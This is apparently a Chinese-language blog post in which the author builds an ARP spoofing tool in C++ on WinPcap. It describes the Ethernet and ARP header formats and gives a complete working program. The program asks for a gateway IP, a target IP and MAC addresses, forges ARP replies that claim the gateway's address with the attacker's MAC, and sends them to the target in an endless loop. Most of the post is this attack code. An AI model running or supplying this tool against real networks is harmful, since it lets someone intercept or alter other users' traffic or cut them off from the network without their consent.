0%

C++实现ARP欺骗

ARP欺骗

1
ARP欺骗(英语:ARP spoofing),又称ARP毒化(ARP poisoning,网络上多译为ARP病毒)或ARP攻击,是针对以太网地址解析协议(ARP)的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定计算机或所有计算机无法正常连线。

实现的方法:

  1. 给指定的IP发ARP包
  2. ARP中指定来源IP是网关
  3. 然后来源的mac填写成我们自己的,这样子他就把网关认为成我们了

前几天老哥给我发了一本python的安全攻防,我翻了一下,看到了一篇用python实现的ARP毒化方法,用的是scapy,实现了简单的双工,下午的时候本来是要写人工智能的算法的,但是因为开了个班会的原因,一下子没兴趣了,舍友出去玩了没人陪我打游戏,我就想用C++实现ARP的毒化,也来扩大自己的类库(自己写了好多C++渗透逆向的类库,有感兴趣的可以和我要)。
用的还是比较老的winPcap。

编写前简单的了解一下ARP数据包的格式吧。
ARP

首先是以太网的头部:

  1. 0-6字节是目的的mac地址
  2. 6-12字节是源的mac地址
  3. 12-14字节是我们的请求类型(1位请求,2位响应)

ARP头部:

  1. 硬件类型 1
  2. 协议类型 ARP是0x806
  3. 硬件地址长度 6
  4. 协议地址长度 4
  5. 操作类型 ARP请求是1
  6. 下面就是mac和ip了,不再重复
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//14字节以太网首部
struct EthernetHeader
{
u_char DestMAC[6]; //目的MAC地址 6字节
u_char SourMAC[6]; //源MAC地址 6字节
u_short EthType; //上一层协议类型,如0x0800代表上一层是IP协议,0x0806为arp 2字节
};

//28字节ARP帧结构
struct ArpHeader
{
unsigned short hdType; //硬件类型
unsigned short proType; //协议类型
unsigned char hdSize; //硬件地址长度
unsigned char proSize; //协议地址长度
unsigned short op; //操作类型,ARP请求(1),ARP应答(2),RARP请求(3),RARP应答(4)。
u_char smac[6]; //源MAC地址
u_char sip[4]; //源IP地址
u_char dmac[6]; //目的MAC地址
u_char dip[4]; //目的IP地址
};

知道了这些,配合上我们的毒化方法就能简单的实现一个ARP的欺骗了。

首先我们需要用户输入四个内容(当然也可以只输入目标的IP,但是那样加大了代码量)

  1. 目标IP
  2. 网关IP
  3. 本机MAC
  4. 目标MAC

用户输入进来之后,我们进行校验输入的格式对不对就可以了。
然后我们选择网卡,使用winpcap的pcap_findalldevs就可以获取到网卡的信息了,得到的是一个链表,然后全部打印出来,让用户选择相对应的网卡,然后投掷我们ARP数据包。
看一下操作:
操作

整个程序比较麻烦的东西就是解析ip和mac,贴一下我写的吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
struct IPSTRUCT
{
unsigned char IP[4];
};
bool prarseIP(char* IP,IPSTRUCT* st)
{
char *substr= strtok(IP,".");
if (!substr)
return false;
st->IP[0] = atoi(substr);
substr= strtok(NULL,".");
if (!substr)
return false;
st->IP[1] = atoi(substr);
substr= strtok(NULL,".");
if (!substr)
return false;
st->IP[2] = atoi(substr);
substr= strtok(NULL,".");
if (!substr)
return false;
st->IP[3] = atoi(substr);
return true;
}

int hex2int(char c)
{
if ((c >= 'A') && (c <= 'Z'))
{
return c - 'A' + 10;
}
else if ((c >= 'a') && (c <= 'z'))
{
return c - 'a' + 10;
}
else if ((c >= '0') && (c <= '9'))
{
return c - '0';
}
return 0;
}

int HexToLLInt(const char* hexStr)
{
int data[20] = { 0 };
int count = 0;
int i = 0;
int ret = 0;
int len = strlen(hexStr);
if ((hexStr[len - 1] == '0') && (hexStr[len - 2] == '/'))
len -= 2;
for (int i = 0; i<len; i += 2)
{
int low = hex2int(hexStr[i+1]); //低四位
int high = hex2int(hexStr[i]); //高四位
data[count++] = (high << 4) + low;
}
for (i = 0; i <count; i++)
{
ret = ret << 8;
ret += data[i];
}
return ret;
}


struct MACSTRUCT
{
unsigned char MAC[6];
};
bool prarseMAC(char* IP,MACSTRUCT* st)
{
char *substr= strtok(IP,"-");
if (!substr)
return false;
st->MAC[0] = HexToLLInt(substr);
substr= strtok(NULL,"-");
if (!substr)
return false;
st->MAC[1] = HexToLLInt(substr);
substr= strtok(NULL,"-");
if (!substr)
return false;
st->MAC[2] = HexToLLInt(substr);
substr= strtok(NULL,"-");
if (!substr)
return false;
st->MAC[3] = HexToLLInt(substr);
substr= strtok(NULL,"-");
if (!substr)
return false;
st->MAC[4] = HexToLLInt(substr);
substr= strtok(NULL,"-");
if (!substr)
return false;
st->MAC[5] = HexToLLInt(substr);
return true;
}

封装了几个方法,十六进制的从网上借鉴的,懒得写了…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pcap_if_t *alldevs;
pcap_if_t *d;
char errbuf[PCAP_ERRBUF_SIZE+1];
/* Retrieve the interfaces list */
if (pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n",errbuf);
exit(1);
}
int id = 0;
/* Scan the list printing every entry */
for(d=alldevs;d;d=d->next)
{
printf_s("%d:",id);
id++;
ifprint(d);
}
int UseEID = 0;
printf_s("请输入要使用的设备编号:");
scanf_s("%d",&UseEID);
/* 跳转到选中的适配器 */
for (d = alldevs, id = 0; id < UseEID; d = d->next, id++)
Sleep(1);
pcap_t *adhandle; //打开网络适配器,捕捉实例,是pcap_open返回的对象
char error[PCAP_ERRBUF_SIZE];
if((adhandle = pcap_open_live(d->name, 100, 1, 1000, error) ) == NULL)
{
fprintf(stderr,"\nError opening adapter: %s\n", error);
system("pause");
return 0;
}

通过pcap_findalldevs获得pcap_if_t的链表指针,然后打印出来相关信息。
封装我们的ARP数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

unsigned char sendbuf[42]; //arp包结构大小,42个字节

EthernetHeader eh;
ArpHeader ah;
//赋值MAC地址
memcpy(eh.DestMAC, ETHDestmac, 6); //以太网首部目的MAC地址,全为广播地址
memcpy(eh.SourMAC, ETHSourcemac, 6); //以太网首部源MAC地址
eh.EthType = htons(ETH_ARP); //htons:将主机的无符号短整形数转换成网络字节顺序

ah.hdType = htons(ARP_HARDWARE);
ah.proType = htons(ETH_IP);
ah.hdSize = 6;
ah.proSize = 4;
ah.op = htons(ARP_RESPONSE);
memcpy(ah.smac, ARPSourcemac, 6); //ARP字段源MAC地址
memcpy(ah.dmac, ARPDestmac, 6); //ARP字段目的MAC地址
memcpy(ah.sip, ARPSip, 4); //ARP字段源IP地址
memcpy(ah.dip, ARPDip, 4); //ARP字段目的IP地址

//构造一个ARP请求
memset(sendbuf, 0, sizeof(sendbuf)); //ARP清零
memcpy(sendbuf, &eh, sizeof(eh));
memcpy(sendbuf + sizeof(eh), &ah, sizeof(ah));

循环发送ARP数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
printf_s("开始ARP欺骗");
//监控数据包
//pcap_loop(adhandle, 0, packet_handler, NULL);
while(true)
{
if (pcap_sendpacket(adhandle, sendbuf, 42) == 0) {
printf("ARP欺骗succeed\n");
Sleep(500);
}
else {
printf("PacketSendPacket in getmine Error: %d\n", GetLastError());
break;
}
}

这样就可以实现ARP欺骗了。
完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
#include "stdafx.h"
#include "PCAP.h"
#include "remote-ext.h"
#ifndef WIN32
#include <sys/socket.h>
#include <netinet/in.h>
#else
#include <winsock.h>
#endif

#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"wpcap.lib")
/*
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data)
{
system("cls");
static int packet_Count=1;
packet_Count++;
printf("开始欺骗后劫持本地的数据包个数:%d",packet_Count);
}
*/

#define ETH_ARP 0x0806 //以太网帧类型表示后面数据的类型,对于ARP请求或应答来说,该字段的值为x0806
#define ARP_HARDWARE 1 //硬件类型字段值为表示以太网地址
#define ETH_IP 0x0800 //协议类型字段表示要映射的协议地址类型值为x0800表示IP地址
#define ARP_REQUEST 1 //ARP请求
#define ARP_RESPONSE 2 //ARP应答

//14字节以太网首部
struct EthernetHeader
{
u_char DestMAC[6]; //目的MAC地址 6字节
u_char SourMAC[6]; //源MAC地址 6字节
u_short EthType; //上一层协议类型,如0x0800代表上一层是IP协议,0x0806为arp 2字节
};

//28字节ARP帧结构
struct ArpHeader
{
unsigned short hdType; //硬件类型
unsigned short proType; //协议类型
unsigned char hdSize; //硬件地址长度
unsigned char proSize; //协议地址长度
unsigned short op; //操作类型,ARP请求(1),ARP应答(2),RARP请求(3),RARP应答(4)。
u_char smac[6]; //源MAC地址
u_char sip[4]; //源IP地址
u_char dmac[6]; //目的MAC地址
u_char dip[4]; //目的IP地址
};

/* From tcptraceroute, convert a numeric IP address to a string */
#define IPTOSBUFFERS 12
char *iptos(u_long in)
{
static char output[IPTOSBUFFERS][3*4+3+1];
static short which;
u_char *p;

p = (u_char *)&in;
which = (which + 1 == IPTOSBUFFERS ? 0 : which + 1);
sprintf(output[which], "%d.%d.%d.%d", p[0], p[1], p[2], p[3]);
return output[which];
}
/* Print all the available information on the given interface */
void ifprint(pcap_if_t *d)
{
pcap_addr_t *a;

/* Name */
printf("%s\n",d->name);

/* Description */
if (d->description)
printf("\tDescription: %s\n",d->description);

/* Loopback Address*/
printf("\tLoopback: %s\n",(d->flags & PCAP_IF_LOOPBACK)?"yes":"no");

/* IP addresses */
for(a=d->addresses;a;a=a->next) {
printf("\tAddress Family: #%d\n",a->addr->sa_family);

switch(a->addr->sa_family)
{
case AF_INET:
printf("\tAddress Family Name: AF_INET\n");
if (a->addr)
printf("\tAddress: %s\n",iptos(((struct sockaddr_in *)a->addr)->sin_addr.s_addr));
if (a->netmask)
printf("\tNetmask: %s\n",iptos(((struct sockaddr_in *)a->netmask)->sin_addr.s_addr));
if (a->broadaddr)
printf("\tBroadcast Address: %s\n",iptos(((struct sockaddr_in *)a->broadaddr)->sin_addr.s_addr));
if (a->dstaddr)
printf("\tDestination Address: %s\n",iptos(((struct sockaddr_in *)a->dstaddr)->sin_addr.s_addr));
break;
default:
printf("\tAddress Family Name: Unknown\n");
break;
}
}
printf("\n");
}


struct IPSTRUCT
{
unsigned char IP[4];
};
bool prarseIP(char* IP,IPSTRUCT* st)
{
char *substr= strtok(IP,".");
if (!substr)
return false;
st->IP[0] = atoi(substr);
substr= strtok(NULL,".");
if (!substr)
return false;
st->IP[1] = atoi(substr);
substr= strtok(NULL,".");
if (!substr)
return false;
st->IP[2] = atoi(substr);
substr= strtok(NULL,".");
if (!substr)
return false;
st->IP[3] = atoi(substr);
return true;
}

int hex2int(char c)
{
if ((c >= 'A') && (c <= 'Z'))
{
return c - 'A' + 10;
}
else if ((c >= 'a') && (c <= 'z'))
{
return c - 'a' + 10;
}
else if ((c >= '0') && (c <= '9'))
{
return c - '0';
}
return 0;
}

int HexToLLInt(const char* hexStr)
{
int data[20] = { 0 };
int count = 0;
int i = 0;
int ret = 0;
int len = strlen(hexStr);
if ((hexStr[len - 1] == '0') && (hexStr[len - 2] == '/'))
len -= 2;
for (int i = 0; i<len; i += 2)
{
int low = hex2int(hexStr[i+1]); //低四位
int high = hex2int(hexStr[i]); //高四位
data[count++] = (high << 4) + low;
}
for (i = 0; i <count; i++)
{
ret = ret << 8;
ret += data[i];
}
return ret;
}


struct MACSTRUCT
{
unsigned char MAC[6];
};
bool prarseMAC(char* IP,MACSTRUCT* st)
{
char *substr= strtok(IP,"-");
if (!substr)
return false;
st->MAC[0] = HexToLLInt(substr);
substr= strtok(NULL,"-");
if (!substr)
return false;
st->MAC[1] = HexToLLInt(substr);
substr= strtok(NULL,"-");
if (!substr)
return false;
st->MAC[2] = HexToLLInt(substr);
substr= strtok(NULL,"-");
if (!substr)
return false;
st->MAC[3] = HexToLLInt(substr);
substr= strtok(NULL,"-");
if (!substr)
return false;
st->MAC[4] = HexToLLInt(substr);
substr= strtok(NULL,"-");
if (!substr)
return false;
st->MAC[5] = HexToLLInt(substr);
return true;
}


int main()
{

//以太网目的mac ,被欺骗的MAC
unsigned char ETHDestmac[6];
//以太网源mac,我们的mac
unsigned char ETHSourcemac[6];
//ARP源mac,我们的mac
unsigned char ARPSourcemac[6];
//ARP目的mac,被欺骗的mac
unsigned char ARPDestmac[6];
//被欺骗的IP地址
unsigned char ARPDip[4];
//网关IP
unsigned char ARPSip[4];

char text[66];
printf_s("请输入网关IP:");
scanf("%s",&text);
IPSTRUCT ips;
if(!prarseIP(text,&ips))
{
printf("网关IP输入出错");
return -1;
}
memcpy(ARPSip,ips.IP,4);
printf_s("请输入目标IP:");
scanf("%s",&text);
if(!prarseIP(text,&ips))
{
printf("目标IP输入出错");
return -1;
}
memcpy(ARPDip,ips.IP,4);
printf_s("请输入本机MAC:");
scanf("%s",&text);
MACSTRUCT macs;
if(!prarseMAC(text,&macs))
{
printf("本机MAC输入出错");
return -1;
}
memcpy(ETHSourcemac,macs.MAC,6);
memcpy(ARPSourcemac,macs.MAC,6);
printf_s("请输入目标MAC:");
scanf("%s",&text);
if(!prarseMAC(text,&macs))
{
printf("目标MAC输入出错");
return -1;
}
memcpy(ETHDestmac,macs.MAC,6);
memcpy(ARPDestmac,macs.MAC,6);

pcap_if_t *alldevs;
pcap_if_t *d;
char errbuf[PCAP_ERRBUF_SIZE+1];

/* Retrieve the interfaces list */
if (pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n",errbuf);
exit(1);
}

int id = 0;
/* Scan the list printing every entry */
for(d=alldevs;d;d=d->next)
{
printf_s("%d:",id);
id++;
ifprint(d);
}
int UseEID = 0;
printf_s("请输入要使用的设备编号:");
scanf_s("%d",&UseEID);

/* 跳转到选中的适配器 */
for (d = alldevs, id = 0; id < UseEID; d = d->next, id++)
Sleep(1);

pcap_t *adhandle; //打开网络适配器,捕捉实例,是pcap_open返回的对象
char error[PCAP_ERRBUF_SIZE];
if((adhandle = pcap_open_live(d->name, 100, 1, 1000, error) ) == NULL)
{
fprintf(stderr,"\nError opening adapter: %s\n", error);
system("pause");
return 0;
}

unsigned char sendbuf[42]; //arp包结构大小,42个字节

EthernetHeader eh;
ArpHeader ah;
//赋值MAC地址
memcpy(eh.DestMAC, ETHDestmac, 6); //以太网首部目的MAC地址,全为广播地址
memcpy(eh.SourMAC, ETHSourcemac, 6); //以太网首部源MAC地址
eh.EthType = htons(ETH_ARP); //htons:将主机的无符号短整形数转换成网络字节顺序

ah.hdType = htons(ARP_HARDWARE);
ah.proType = htons(ETH_IP);
ah.hdSize = 6;
ah.proSize = 4;
ah.op = htons(ARP_RESPONSE);
memcpy(ah.smac, ARPSourcemac, 6); //ARP字段源MAC地址
memcpy(ah.dmac, ARPDestmac, 6); //ARP字段目的MAC地址
memcpy(ah.sip, ARPSip, 4); //ARP字段源IP地址
memcpy(ah.dip, ARPDip, 4); //ARP字段目的IP地址

//构造一个ARP请求
memset(sendbuf, 0, sizeof(sendbuf)); //ARP清零
memcpy(sendbuf, &eh, sizeof(eh));
memcpy(sendbuf + sizeof(eh), &ah, sizeof(ah));

printf_s("开始ARP欺骗");
//监控数据包
//pcap_loop(adhandle, 0, packet_handler, NULL);
while(true)
{
if (pcap_sendpacket(adhandle, sendbuf, 42) == 0) {
printf("ARP欺骗succeed\n");
Sleep(500);
}
else {
printf("PacketSendPacket in getmine Error: %d\n", GetLastError());
break;
}
}
return 0;
}